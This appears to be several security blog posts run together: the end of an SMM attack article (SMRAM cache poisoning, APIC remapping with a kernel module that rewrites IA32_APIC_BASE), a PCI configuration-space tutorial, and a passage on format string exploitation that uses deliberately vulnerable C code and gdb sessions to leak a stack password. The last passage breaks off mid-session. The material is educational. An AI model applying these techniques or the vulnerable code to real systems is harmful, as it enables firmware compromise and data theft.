Now lets move to our cache poising attack study. Basic idea is when the cpu is not in SMM, the cpu cannot write to SMRAM. But if the SMRAM is cached in Write back mode by modifying MTRR to cache SMRAM memory, the cpu only write to the cached version and not in memory. Now, when later SMI occur, the cpu will execute the SMI handler code from cache rather than from SMRAM. Below is the steps mentioned in the research paper by ITL:

• The attacker should first modify system MTRR register(s) in order to mark the region of system memory where the SMRAM is located as cacheable with type Write-Back (WB).
• Attacker now generates write accesses to physical addresses corresponding to locations where the SMRAM is located. Those accesses will now be cached, because we have marked this range of physical addresses as WB cacheable. Normally, physical addresses corresponding to the location of SMRAM would be un-cacheable and any write accesses to these addresses would be dropped by the memory controller (chipset).
• Finally attacker needs to trigger an SMI, which will transfer execution to the SMM code. The CPU will start executing the SMM code, but will be fetching the instructions from the cache first, before reading them from DRAM. Because the attacker previously (in point #2) generated write access to SMRAM locations, the CPU will fetch attacker-provided data from the cache and execute them as an SMI handler, with full SMM privileges.

To prevent this attack Intel has introduced SMRR registers (already discussed above) in 64 bit architecture. SMRR restricts access to the address range defined in the SMRR registers  and it takes priority over MTRR in case of overlapping ranges.

APIC Remapping attack

This is the most recent attack introduced in 2015 by Christopher Domas. To learn about this, we need to first understand the basics of APIC.

Advanced Programmable Interrupt Controller (APIC) is used to transfer interrupts from PCI devices to processor or in between processors. There are two types of APIC - I/O APIC and local APIC.

I/O APIC - The external I/O APIC is part of Intel’s system chip set. Its primary function is to receive external interrupt events from the system and its associated I/O devices and relay them to the local APIC as interrupt messages.

Local APIC - It receives interrupts from the processor’s interrupt pins, from internal sources and from an external I/O APIC (or other external interrupt controller). It sends these to the processor core for handling. In multiple processor (MP) systems, it sends and receives interprocessor interrupt (IPI) messages to and from other logical processors on the system bus. IPI messages can be used to distribute interrupts among the processors in the system or to execute system wide functions (such as, booting up processors or distributing work among a group of processors).

For this attack, we only care about the local APIC. Software interacts with the local APIC by reading and writing its registers present in Local APIC memory space. APIC registers are memory-mapped to a 4-KByte region of the processor’s physical address space with an initial starting address of 0xFEE00000. The structure of local APIC memory looks like this

The list of memory map goes beyond the above image. You will found that a lot of registers here are writable. Moving forward, the most important point about local APIC is, it's relocatable. Using IA32_APIC_BASE MSR someone can enable/disable local APIC as well as rebase it.

Domas has found that in x86 processors if APIC base is set to SMRAM base, the memory address will belong to local APIC memory. Hence on next SMI, the code from APIC will get executed since the read request will go to local APIC first which is in procesor rather than to controller where SMRAM is present. Since, lots of local APIC memory bytes are writable, attacker can write a well crafted payload in APIC memory to execute its code.

You can learn more about this attack from this talk:

You can write a simple module to modify APIC base:

#define IA32_APIC_BASE		0x1B


static int my_init(void)
{
	uint64_t apic_base = 0x0;
	uint8_t apic_global = 0;
	uint32_t apic_base_addr = 0;
	uint64_t new_apic_base = 0;
	printk(KERN_INFO "Hello world!.\n");
	

    rdmsrl(IA32_APIC_BASE, apic_base);
    printk(KERN_INFO "APIC_BASE return %llx.\n", apic_base);
    apic_global = (apic_base >> 11) & 1;
    // change the constant value
    new_apic_base = 0xab000000 | (apic_global << 11);
    wrmsrl(IA32_APIC_BASE, new_apic_base);
    apic_base = 0;
    
    rdmsrl(IA32_APIC_BASE, apic_base);
    printk(KERN_INFO "APIC_BASE updated to %llx.\n", apic_base);
    return  0;
}

Intel has patched the vulnerability by checking local APIC base with SMRR base while relocating the local APIC. In case the requested base is in the memory address protected by SMRR than the rebase will fail. Hence, most probably if your processor is patched, trying to execute above module will cause a system crash.

Having Vulnerable BIOS

The final attack ( and most obvious one) against SMM is the weakness of BIOS. Since SMM code resides in BIOS image, even if the SMRAM is secure, having vulnerable BIOS makes it useless since someone can modify the BIOS, hence SMRAM code.

There are few other great vulnerability found in last few years in SMM that we haven't cover. I recommend checking them yourself. We are ending this article here only. You can find the sample codes used in this article here.  Stay tuned for more posts on this series.

References and Further resources:

Opensecuritytraining BIOS course: https://opensecuritytraining.info/IntroBIOS.html
Intel software developer manual: https://software.intel.com/content/www/us/en/develop/articles/intel-sdm.html
SMM rootkit: a new breed of OS independent malware: https://onlinelibrary.wiley.com/doi/pdf/10.1002/sec.166
SMM cache fun: https://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf

In this new series of articles, we will learn about firmware security, i.e things like What included as firmware in a computer? What are the attack vectors? How to protect your firmware? etc. In the first part of the series, I will take you through basic of PCI device and its memory, since everything in firmware somehow depend on them, so you have to learn  these before getting more into security specific stuff.

Setup: My setup includes:

• Intel(R) Core(TM) i5-4210U CPU(4th Gen)
• Linux System (kernel 4.19) x86_64
• Chipsec Utility

PCI Basics

Peripheral Component Interconnect (PCI) is a specification used for connection of computer buses or peripherals devices in motherboard. It is a 32 bit bus which can support 64 bit data transfer by performing 2 32 bit reads.  It is an upgraded replacement of ISA bus which only supports 16 bit data transfer. Now PCI is revised with PCIe with almost similar firmware specification but much improved performance.

Each PCI bus have devices attached and each device have functions. The topology for PCI bus looks like this:

• Upto 256 Bus
• Each bus have maximum 32 devices attached
• Each device have atmost 8 functions
• Buses are connected using Bridges

A common way to represent a specific device is using the following format B:D:F (eg 00:1f:0 is LPC controller in my system).

You can check all the PCI devices attached to your processor in linux using lspci command.

PCI Configuration Space

Each PCI device has a PCI Configuration space which is used to store configuration registers. Configuration registers are used for device configuration and communication purposes like identify the device, amount of memory and I/O address space needed by each device, maximum space required by the device etc.

Each PCI device has upto 256 bytes of configuration space whereas PCIe device has 256 bytes + 4KB of extended configuration space. Out of 256 bytes, first 40 bytes are header and remaining bytes are device dependent region.

The registers structure of the header looks mostly like this(differ for PCI-to-PCI bridge and CardBus bridge).

Let's take a look at few registers description, remaining we will check later when they are required.

Vendor Id: Identifies the manufacturer of the device. For eg: 0x8086 for intel devices, 0x10DE for nvidia device.

Device Id: Identifies the particular device by a vendor.

Header Type: Identifies the layout of the rest of the header that begins at byte 0x10 of the header and also specifies whether the device has multiple functions. They can be of three types:

• Type 0: General Device. (Most common one and the one we care in this article.
• Type 1: PCI-to-PCI Bridge
• Type 2: Cardbus Bridge

You can take a look at header structure for each header here: https://wiki.osdev.org/PCI.

Accessing PCI device configuration space

A PCI device configuration space can be accessed using either a through memory request or I/O request. Most PCI device has both mechanism available but PCIe can only be accessed using memory mapped area (sometime I/O access available for Backward compatibility).

Bit 0 in Command register is set then device will respond to I/O space access.
Bit 1 in Command register is set then device will respond to memory space access.

The configuration space can only be accessed from kernel mode, so we will create a simple kernel module for everything we perform below.

A simple layout of kernel module and Makefile for kernel module will look like this:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/slab.h>
#include <linux/interrupt.h>

static int my_init(void)
{
    printk(KERN_INFO "Hello world.\n");
    return  0;
}
   
static void my_exit(void)
{
    printk(KERN_INFO "Goodbye world.\n");

    return;
}
   
module_init(my_init);
module_exit(my_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Shubham Dubey <shubham0d@protonmail.coms>");
MODULE_DESCRIPTION("PCI config MMIO driver");

# Makefile
ifeq ($(KERNELRELEASE),)
		KERNELDIR ?= /lib/modules/$(shell uname -r)/build
		PWD := $(shell pwd)

modules:
		$(MAKE) -C $(KERNELDIR) M=$(PWD) modules EXTRA_CFLAGS="-g -DDEBUG"
modules_install:
		$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install

clean:
		rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

.PHONY: modules modules_install clean

else
        # called from kernel build system: just declare what our modules are
		obj-m := sample_driver.o
endif

Configuration space - I/O Access

Two 32 bit I/O port locations are used to generate configuration space transaction

0xCF8 (CONFIG_ADDRESS)
0xCFC (CONFIG_DATA)

CONFIG_ADDRESS(equivalent of IN operation) is used to define the specific pci device and offset you want to retrieve. The DWORD data get returned using CONFIG_DATA(OUT operation).

32 bit structure for 0xCF8 defines like this:

• When bit 31 is set, then only all read and write to CONFIG_DATA will be treated as configuration transaction.
• Bit 24:30 are reserved and should return 0 on read.
• You need to define the B::D::F and offset of configuration space to receive the DWORD value present on that device at a given offset.

We can use inl and outl calls from driver for I/O port operation.

static int my_init(void)
{

	u32 io_addr_response;
	u32 io_data;
	
	uint32_t address;
	//change according to B::D::F value
    uint32_t lbus  = 0x0;
    uint32_t ldevice = 0x1f;
    uint32_t lfunc = 0x0;
    uint8_t offset = 0x10;
	
	printk(KERN_INFO "Hello world.\n");
	
    // create configuration address as per 
    address = (uint32_t)((lbus << 16) | (ldevice << 11) |
              (lfunc << 8) | (offset & 0xfc) | ((uint32_t)0x80000000));
    
	
	//write the address
	outl(0xCF8, address);
	
	//check if PCI I/O request to device is enable
	io_addr_response = inl(0xcf8);
	io_addr_response = io_addr_response & 80000000;
	if (io_addr_response == 0)
	{
		printk(KERN_INFO "I/O port access for device is not enabled.\n" );
	}
	
	io_data = inl(0xcf8);
	
	printk(KERN_INFO "Data recieved is %x.\n", io_data);
	
    return  0;
}

After loading the driver you can check the output using sudo dmesg|tail

Note: Above mentioned port I/O transaction will not work with PCIe device because they are mostly only memory mapped. But can work with some for backward compatibilty.

Verifying your output

You can verify your output using chipsec framework. Installation steps are mentioned in repo link.

To access the pci device configuration space, you can use following command.

$sudo python chipsec_util.py pci dump 0 0x1f 0

The output will look like this:

Configuration space - Memory Access

Another way to access PCI device configuration space is using memory space. Each device is mapped to physical memory, where normal operations like read, write can be performed. For PCI, the memory access is optional but in PCIe device it is mostly the only way available to access PCI data.

We can get the memory mapped configuration space using the following process:

First, find the specific device in the system from list of pci devices.

dev = pci_get_device(vendor_id, device_id) 

This function scans the list of PCI devices currently present in the system, and if the input arguments match the specified vendor  and device IDs, it increments the reference count on the struct pci_dev variable found, and returns it to the caller.

Access the data in BYTE, WORD or DWORD size.

int pci_read_config_byte(struct pci_dev *dev, int offset, u8 *val);
int pci_read_config_word(struct pci_dev *dev, int offset, u16 *val);
int pci_read_config_dword(struct pci_dev *dev, int offset, u32 *val);

Perform write using the following calls:

int pci_write_config_byte(struct pci_dev *dev, int offset, u8 val);
int pci_write_config_word(struct pci_dev *dev, int offset, u16 val);
int pci_write_config_dword(struct pci_dev *dev, int offset, u32 val);

After the driver is done with the struct pci_dev returned by the function, it must call the function pci_dev_put to decrement the usage count properly back to allow the kernel to clean up the device if it is removed.

pci_dev_put(dev)

Finding the vendor id and device name

You may think that, to find the device using pci_get_device we need vendor_id and device_id but those value can be found on configuration space only. If you don't have access to configuration space then you can look at device datasheet to get the correct vendor_id and device_id.

You can also cheat the value from linux pci maintenance code. First 0x40 bytes are mapped to following file location /sys/bus/pci/devices/0000:B:D.F/config.

Another way already mentioned above is using chipsec tool.

So, now let's write the code to retrieve first 4 bytes from device 0:0:0 (DRAM controller in most cases) from MMIO.

static int my_init(void)
{
	struct pci_dev *dev;
	u32 pci_data;
    printk(KERN_INFO "Inside driver.\n");
    //get pci device
    dev = pci_get_device(0x8086, 0x0a0c, NULL);
    if (!dev)
    {
		printk(KERN_INFO "FAILED to get pci device\n");
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO "Attached to the pci device\n");
	//read dword value from pci device at offset 0x10
	pci_read_config_dword(dev, 0x10, &pci_data);
	printk(KERN_INFO "PCI configuration space data at offset 0x10 is %x.\n", pci_data);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}

You will get similar output in dmesg.

Again, you can verify the output using chipsec.

Base Address Registers/ Finding the device memory

Base address registers(BAR) starts at an address 0x10 in the configuration space and will be total 6(BAR[0] to BAR[5]) in number. BARs hold the memory addresses range used by the device. Structure of this register looks like this:

Cleared bit 0 indicate the device is  mapped at memory location.

Using above structure, you can derive that, to get the base address, you need to and it with 0xFFFFFFF0 i.e BA[X] = BAR[X] & 0xFFFFFFF0.

For 64 bit space BAR[I] = ((BAR[x] & 0xFFFFFFF0) + ((BAR[x+1] & 0xFFFFFFFF) << 32)).

BAR limit

Each memory block defined by BAR has limit along with base address.

To find the limit, you can write all 1's in that BAR and ~(NOT) the output. i.e ~(BAR[X] & 0xFFFFFFFF).

Now let's write a program to get the base address and limit of a BAR.

static int my_init(void)
{
	struct pci_dev *dev;
	u32 pci_data;
    printk(KERN_INFO "Inside driver.\n");
    //get pci device
    dev = pci_get_device(0x8086, 0x0a0c, NULL);
    if (!dev)
    {
		printk(KERN_INFO "FAILED to get pci device\n");
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO "Attached to the pci device\n");

	//read dword value from pci deevice
	pci_read_config_dword(dev, 0x10, &pci_data);
	
	// getting the base address
	pci_data = pci_data & 0xFFFFFFF0;
	printk(KERN_INFO "Base address is %x.\n", pci_data);
	
	// Getting the PIC device BAR limit
	pci_write_config_dword(dev, 0x10, 0xFFFFFFFF);

	pci_read_config_dword(dev, 0x10, &pci_data);
	pci_data = pci_data & 0xFFFFFFF0;
	pci_data = ~pci_data;
	printk(KERN_INFO "BAR limit is %x.\n", pci_data);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}

You will receive the similar kind of output in kernel logs:

Verifying the BAR output

We can read data directly at a physical address using chipsec. To verify  if the base address is correct, read that physical memory location before writing the 0xFFFFFFFF(to get the BAR limit) to the BAR and check the bytes. After writing to BAR, check the base address again. You will notice the bytes get replaced with 0xFF. This happens because after changing the BAR, the device is no longer mapped to the previous location.

You can use following chipsec syntax to read physical memory

sudo python chipsec_util.py mem read address no_of_bytes

Ex: For BAR 0xc3600004, data at base address before and after changing base address.

PCIe configuration space

Let's move to more recent protocol PCIe related stuff. PCIe has up to 4kb of configuration space(PCI config space + extended config space), which is always mapped to memory and cannot be accessed using the legacy PCI method (through ports 0xCF8 and 0xCFC). The extended space can be located either just after the 256 byte of configuration space or at MMIO location specify by RCRB (Root Complex Register Block).

Till now, we have accessed the memory mapped configuration space using pci_read_config_dword() but we can also manually access the physical address where the configuration space is mapped, only if we know the Base address of PCI configuration space. This will also help to access the PCIe configuration space.

BIOS on boot set PCIEXBAR register(64 bit) to a memory location where it wants the memory controller to start routine to PCI space. The space structure looks like this.

You can use following decoding to read an offset in a PCI device using PCIEXBAR.

Finding PCIEXBAR:  You can check your processor datasheet to confirm the PCI device and offset, where the PCIEXBAR register is located. For intel processor you can download the datasheets from here. For the processor that I am using(Intel 4th gen), this register is located at 0:0:0 (DRAM Controller) at offset 0x60.

Using the above information, let's try to access the first 4 bytes of device 0:0:0.

static int my_init(void)
{
	struct pci_dev *dev;
	u32 pciexbar;
	uint32_t pci_data;
	uint32_t lbus  = 0x0;
    uint32_t ldevice = 0x0;
    uint32_t lfunc = 0x0;
    uint16_t offset = 0x2;
    printk(KERN_INFO "Inside driver.\n");
    //get pci device
    dev = pci_get_device(0x8086, 0x0A04, NULL);
    if (!dev)
    {
		printk(KERN_INFO "FAILED to get pci device\n");
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO "Attached to the pci device\n");
	//read PCIEXBAR value
	pci_read_config_dword(dev, 0x60, &pciexbar);
	
	// retrieving pci configuration space starting address
	pciexbar = pciexbar & 0xF0000000;
	printk(KERN_INFO "PCI Configuration space starts at %x.\n", pciexbar);
	
	// retrieving the DWORD value for pci device 0:0:0 offset 2
	pci_data = (uint32_t)(pciexbar | (lbus << 20) | (ldevice << 15) | (lfunc << 12) | (offset & 0xFFF));
	printk(KERN_INFO "PCI device data is at physical location %x.\n", pci_data);


	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}

You will receive the similar output:

You can now retrieve the data using chipsec:

$sudo python chipsec_util.py mem read 0xe0000002 0x10

The returned data should be present at configuration space for device 0:0:0 at offset 0x2. After 256 bytes you will start seeing the bytes from extended configuration space.

You can find the sample code from the post here.

We have already cover enough stuff about PCI devices memory till now, so it's time to end this part here.  In the next part, we will discuss PCI expansion roms and majorly go through security issues related to PCI based architecture. Stay tuned!!

Reference:

https://opensecuritytraining.info/IntroBIOS.html
https://wiki.osdev.org/PCI
https://www.oreilly.com/library/view/linux-device-drivers/0596005903/ch12.html#linuxdrive3-CHP-12-FIG-2

Format string based vulnerabilities are known since ages but still can be found very easily in softwares and packages till today. The exploitation of format string vulnerability is always easy and can cause at minimum, denial of service to remote code execution. In 64 bit system the format strings exploitation is still present but the basics get changed a little due to 64 bit calling convention. In this post, I will take you through few small changes you will notice if you are trying to exploit format string in 64 bit architecture.

Basics of Format string attack - x32

I will not get much into details of format strings as I expect you have previously come across format string vulnerability at least few times. If not, then just for an exercise, let's look at a simple format string vulnerability example.

Assume the following sample code is running in a remote machine with the value of variable password to be anything else:

#include<stdio.h>
int main(){
 
    char input[100];
    char password[10] = "hello";
 
    printf ("\nEnter your password: ");
    scanf("%100s", &input);
    printf("\n Your string is :");
    printf(input);
    if (strcmp(password,input,5) == 0){
        printf("\nYour password is correct\n");
    }
    else
        {
        printf("\n Password doesn't match\n");
    }
}

Let's compile this locally to play with the program.

$gcc sample1.c -g -o sample1.out

The code above takes a user input and compare that with a string ("hello"). If the user input matches, then it prints "Your password is correct".

As mentioned above, if the code is running in remote server with unknown string variable password, then it's not easy to get the success message without guessing.  As an attacker, you can try to cause overflow by entering more than 100 chars as input, but we are restricting the no of character in scanf by using %100s.

You can guess that the code must be vulnerable to format string vulnerability(as this post is about that only), which occurs here due to directly passing the user input to printf(input) statement. Let's see how we can verify and exploit that.

Check, what will happen if we put the input with format string char in it.

We got "test" printed as it is, but %x get replaced with something else that looks like the memory addresses. We have to check the program in debugger to dig deeper.

The gdb shows the following disassembly of the program.

(gdb) disas main
Dump of assembler code for function main:
   0x000011c9 <+0>:     lea    0x4(%esp),%ecx
   0x000011cd <+4>:     and    $0xfffffff0,%esp
   0x000011d0 <+7>:     pushl  -0x4(%ecx)
   0x000011d3 <+10>:    push   %ebp
   0x000011d4 <+11>:    mov    %esp,%ebp
   0x000011d6 <+13>:    push   %ebx
   0x000011d7 <+14>:    push   %ecx
   0x000011d8 <+15>:    sub    $0x70,%esp
   0x000011db <+18>:    call   0x10d0 <__x86.get_pc_thunk.bx>
   0x000011e0 <+23>:    add    $0x2e20,%ebx
   0x000011e6 <+29>:    movl   $0x6c6c6568,-0x76(%ebp)
   0x000011ed <+36>:    movl   $0x6f,-0x72(%ebp)
   0x000011f4 <+43>:    movw   $0x0,-0x6e(%ebp)
   0x000011fa <+49>:    sub    $0xc,%esp
   0x000011fd <+52>:    lea    -0x1ff8(%ebx),%eax
   0x00001203 <+58>:    push   %eax
   0x00001204 <+59>:    call   0x1040 <printf@plt>
   0x00001209 <+64>:    add    $0x10,%esp
   0x0000120c <+67>:    sub    $0x8,%esp
   0x0000120f <+70>:    lea    -0x6c(%ebp),%eax
   0x00001212 <+73>:    push   %eax
   0x00001213 <+74>:    lea    -0x1fe1(%ebx),%eax
   0x00001219 <+80>:    push   %eax
   0x0000121a <+81>:    call   0x1070 <__isoc99_scanf@plt>
   0x0000121f <+86>:    add    $0x10,%esp
   0x00001222 <+89>:    sub    $0xc,%esp
   0x00001225 <+92>:    lea    -0x1fdb(%ebx),%eax
--Type <RET> for more, q to quit, c to continue without paging--
   0x0000122b <+98>:    push   %eax
   0x0000122c <+99>:    call   0x1040 <printf@plt>
   0x00001231 <+104>:   add    $0x10,%esp
   0x00001234 <+107>:   sub    $0xc,%esp
   0x00001237 <+110>:   lea    -0x6c(%ebp),%eax
   0x0000123a <+113>:   push   %eax
   0x0000123b <+114>:   call   0x1040 <printf@plt>
   0x00001240 <+119>:   add    $0x10,%esp
   0x00001243 <+122>:   sub    $0x4,%esp
   0x00001246 <+125>:   push   $0x5
   0x00001248 <+127>:   lea    -0x6c(%ebp),%eax
   0x0000124b <+130>:   push   %eax
   0x0000124c <+131>:   lea    -0x76(%ebp),%eax
   0x0000124f <+134>:   push   %eax
   0x00001250 <+135>:   call   0x1030 <strcmp@plt>
   0x00001255 <+140>:   add    $0x10,%esp
   0x00001258 <+143>:   test   %eax,%eax
   0x0000125a <+145>:   jne    0x1270 <main+167>
   0x0000125c <+147>:   sub    $0xc,%esp
   0x0000125f <+150>:   lea    -0x1fc8(%ebx),%eax
   0x00001265 <+156>:   push   %eax
   0x00001266 <+157>:   call   0x1050 <puts@plt>
   0x0000126b <+162>:   add    $0x10,%esp
   0x0000126e <+165>:   jmp    0x1282 <main+185>
   0x00001270 <+167>:   sub    $0xc,%esp
   0x00001273 <+170>:   lea    -0x1fae(%ebx),%eax
   0x00001279 <+176>:   push   %eax
   0x0000127a <+177>:   call   0x1050 <puts@plt>
--Type <RET> for more, q to quit, c to continue without paging--

The third printf (at main+114) is responsible to print the user input. So lets put a breakpoint before it and execute the program.

(gdb) b *main+114
Breakpoint 1 at 0x123b: file sample1.c, line 10.
(gdb) r 
Starting program: /root/format_string/sample1.out 

Enter your password: %x.%x.%x


Breakpoint 1, 0x0040123b in main () at sample1.c:10
10          printf(input);
(gdb)

Check the last 10 stack value and then continue the program.

(gdb) x/10x $esp
0xbffffb50:     0xbffffb6c      0xbffffb6c      0xb7fff950      0x004011e0
0xbffffb60:     0x6568004d      0x006f6c6c      0x00000000      0x252e7825
0xbffffb70:     0x78252e78      0x00000000
(gdb) c
Continuing.
 Your string is :bffffb6c.b7fff950.4011e0
 Password doesn't match
[Inferior 1 (process 919) exited normally]
(gdb) 

We can see that the returned string contain the last 3 stack entries except the latest esp. This behavior has occurred because the printf function parse the input string and found three format strings %x which it thought is passed as arguments. Since the parameters are passed in another function through pushing it on stack, printf pops last four entries (the first one is the string itself) and print them to stdout.

From the above case, we have learned to retrieve the stack data. Using the same we can retrieve the saved password in password variable. Since password is a local variable, the memory for it is allocated on  stack. At main+29  and main+30 instructions, the value "hello\00" is moved into stack. Let's put a BP there and check that address.

(gdb) b *main+43
Breakpoint 2 at 0x4011f4: file sample1.c, line 5.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/format_string/sample1.out 

Breakpoint 2, 0x004011f4 in main () at sample1.c:5
5           char password[10] = "hello";
(gdb) x/x $ebp-0x76
0xbffffb62:     0x6c6c6568
(gdb)

So our string is at address 0xbffffb62. Now, continue till the BP at +114.

(gdb) c
Continuing.

Enter your password: %x.%x.%x


Breakpoint 1, 0x0040123b in main () at sample1.c:10
10          printf(input);
(gdb) x/20x $esp
0xbffffb50:     0xbffffb6c      0xbffffb6c      0xb7fff950      0x004011e0
0xbffffb60:     0x6568004d      0x006f6c6c      0x00000000      0x252e7825
0xbffffb70:     0x78252e78      0x00000000      0xb7fff000      0x00000000
0xbffffb80:     0x00000000      0xbffffc84      0xb7fb6000      0x00000000
0xbffffb90:     0x00000000      0xb7fb6000      0xb7e0dcb9      0xb7fb9588

First %x will give the memory at 0xbffffb54. So, 4th and 5th %x should return the variable password  string. We can use the format %n$x to get the nth string directly.

(gdb) r
Starting program: /root/format_string/sample1.out 

Enter your password: %4$x.%5$x

Breakpoint 1, 0x0040123b in main () at sample1.c:10
10          printf(input);
(gdb) c
Continuing.
 Your string is :6568004d.6f6c6c
 Password doesn't match
[Inferior 1 (process 1074) exited normally]
(gdb) 

0x6f6c6c6568 converts to "hello" in ascii.

Note: In case if local variable password was a string pointer rather than char array, we have to use %4$s to treat that memory address as string pointer.

So, we have found a way to retrieve the saved local variable data using format string vulnerability. We will stop the intro here as our goal is to just get a basic idea on format string exploitation, but format string exploitation is way more than this. It includes things like changing the stack data using %n , GOT overwrite etc.

Format String in x64 linux

As an initial thought, you may think that the format string exploitation should be almost similar for 64 bit, except in size of each format string entry i.e we will retrieve 8 bytes at once rather than 4 bytes. But format string in 64 bit is more than that.

Let's compile the same code in 64 bit machine and try to pass format string in user input like we do previously. This time we will pass %p instead of %x, since %x will only print 4 byte value but we need 8 byte for 64 bit architecture.

We got the expected output here. 2nd and 3rd value are (nil) because %p is showing 0x0 as (nil). Let's now confirm, where these values are coming from and try to retrieve the password string from stack.

In gdb debugger we got the following disassembly.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001179 <+0>:     push   %rbp
   0x000000000000117a <+1>:     mov    %rsp,%rbp
   0x000000000000117d <+4>:     add    $0xffffffffffffff80,%rsp
   0x0000000000001181 <+8>:     mov    %fs:0x28,%rax
   0x000000000000118a <+17>:    mov    %rax,-0x8(%rbp)
   0x000000000000118e <+21>:    xor    %eax,%eax
   0x0000000000001190 <+23>:    movabs $0x6f6c6c6568,%rax
   0x000000000000119a <+33>:    mov    %rax,-0x7a(%rbp)
   0x000000000000119e <+37>:    movw   $0x0,-0x72(%rbp)
   0x00000000000011a4 <+43>:    lea    0xe59(%rip),%rdi        # 0x2004
   0x00000000000011ab <+50>:    mov    $0x0,%eax
   0x00000000000011b0 <+55>:    callq  0x1050 <printf@plt>
   0x00000000000011b5 <+60>:    lea    -0x70(%rbp),%rax
   0x00000000000011b9 <+64>:    mov    %rax,%rsi
   0x00000000000011bc <+67>:    lea    0xe58(%rip),%rdi        # 0x201b
   0x00000000000011c3 <+74>:    mov    $0x0,%eax
   0x00000000000011c8 <+79>:    callq  0x1070 <__isoc99_scanf@plt>
   0x00000000000011cd <+84>:    lea    0xe4d(%rip),%rdi        # 0x2021
   0x00000000000011d4 <+91>:    mov    $0x0,%eax
   0x00000000000011d9 <+96>:    callq  0x1050 <printf@plt>
   0x00000000000011de <+101>:   lea    -0x70(%rbp),%rax
   0x00000000000011e2 <+105>:   mov    %rax,%rdi
   0x00000000000011e5 <+108>:   mov    $0x0,%eax
   0x00000000000011ea <+113>:   callq  0x1050 <printf@plt>
   0x00000000000011ef <+118>:   lea    -0x70(%rbp),%rcx
   0x00000000000011f3 <+122>:   lea    -0x7a(%rbp),%rax
   0x00000000000011f7 <+126>:   mov    $0x5,%edx
--Type <RET> for more, q to quit, c to continue without paging--
   0x00000000000011fc <+131>:   mov    %rcx,%rsi
   0x00000000000011ff <+134>:   mov    %rax,%rdi
   0x0000000000001202 <+137>:   callq  0x1060 <strcmp@plt>
   0x0000000000001207 <+142>:   test   %eax,%eax
   0x0000000000001209 <+144>:   jne    0x1219 <main+160>
   0x000000000000120b <+146>:   lea    0xe22(%rip),%rdi        # 0x2034
   0x0000000000001212 <+153>:   callq  0x1030 <puts@plt>
   0x0000000000001217 <+158>:   jmp    0x1225 <main+172>
   0x0000000000001219 <+160>:   lea    0xe2e(%rip),%rdi        # 0x204e
   0x0000000000001220 <+167>:   callq  0x1030 <puts@plt>
   0x0000000000001225 <+172>:   mov    $0x0,%eax
   0x000000000000122a <+177>:   mov    -0x8(%rbp),%rdx
   0x000000000000122e <+181>:   sub    %fs:0x28,%rdx
   0x0000000000001237 <+190>:   je     0x123e <main+197>
   0x0000000000001239 <+192>:   callq  0x1040 <__stack_chk_fail@plt>
   0x000000000000123e <+197>:   leaveq 
   0x000000000000123f <+198>:   retq   
End of assembler dump.

Like earlier, put a breakpoint on 3rd printf (main+113) and run the program. Next, check the last 20 rsp's and continue program execution.

(gdb) b *main+113
Breakpoint 1 at 0x11ea: file sample1.c, line 10.
(gdb) r
Starting program: /home/hackintosh/projects/format_string/sample1.out 

Enter your password: %p.%p.%p


Breakpoint 1, 0x00005555555551ea in main () at sample1.c:10
10          printf(input);
(gdb) x/20x $rsp
0x7fffffffdc70: 0x00000000      0x65680000      0x006f6c6c      0x00000000
0x7fffffffdc80: 0x252e7025      0x70252e70      0x00000000      0x00000000
0x7fffffffdc90: 0x00f0b5ff      0x00000000      0x000000c2      0x00000000
0x7fffffffdca0: 0xffffdcc7      0x00007fff      0xf7e73efc      0x00007fff
0x7fffffffdcb0: 0xf7fd34a0      0x00007fff      0x5555528d      0x00005555
(gdb) c
Continuing.
 Your string is :0x3a.(nil).(nil)
 Password doesn't match
[Inferior 1 (process 6580) exited normally

It may look strange since the value returns in string is not similar to the ones we checked on the stack.

Let's run the program again, but this time also check the registers value.

(gdb) r
Starting program: /home/hackintosh/projects/format_string/sample1.out 

Enter your password: %p.%p.%p.%p.%p


Breakpoint 1, 0x00005555555551ea in main () at sample1.c:10
10          printf(input);
(gdb) x/20x $rsp    
0x7fffffffdc70: 0x00000000      0x65680000      0x006f6c6c      0x00000000
0x7fffffffdc80: 0x252e7025      0x70252e70      0x2e70252e      0x00007025
0x7fffffffdc90: 0x00f0b5ff      0x00000000      0x000000c2      0x00000000
0x7fffffffdca0: 0xffffdcc7      0x00007fff      0xf7e73efc      0x00007fff
0x7fffffffdcb0: 0xf7fd34a0      0x00007fff      0x5555528d      0x00005555
(gdb) info registers
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x3a                58
rdi            0x7fffffffdc80      140737488346240
rbp            0x7fffffffdcf0      0x7fffffffdcf0
rsp            0x7fffffffdc70      0x7fffffffdc70
r8             0x0                 0
r9             0xffffffffffffff88  -120
r10            0x555555556021      93824992239649
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551ea      0x5555555551ea <main+113>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) c
Continuing.
 Your string is :0x3a.(nil).(nil).(nil).0xffffffffffffff88
 Password doesn't match
[Inferior 1 (process 6973) exited normally]

Again the value return are definitely not part of stack, but you can see 0x3a  and 0xffffffffffffff88 on the registers before the printf call. So, whats going on here?

Calling convention Rule 1:  In 64 bit architecture, the parameters to any function is passed using registers rather than by pushing it into stack. But this only happens for certain initial parameters i.e for better understanding, the sequence for parameter passing from left to right for both linux and windows is:

Linux: RDI, RSI, RDX, RCX, R8,  R9, remaining from the stack

Windows: RCX, RDX, RSI, RDI, remaining from the stack

Coming back to our program, when we pass 5 %p , what we retrieve is the values from registers, as printf function thought the parameters should be passed on registers. Since, RDI represent input string, we only see parameters from rsi to r9.

Now, when we will pass more than 5 format chars, we will start to see the values from the stack.

(gdb) r
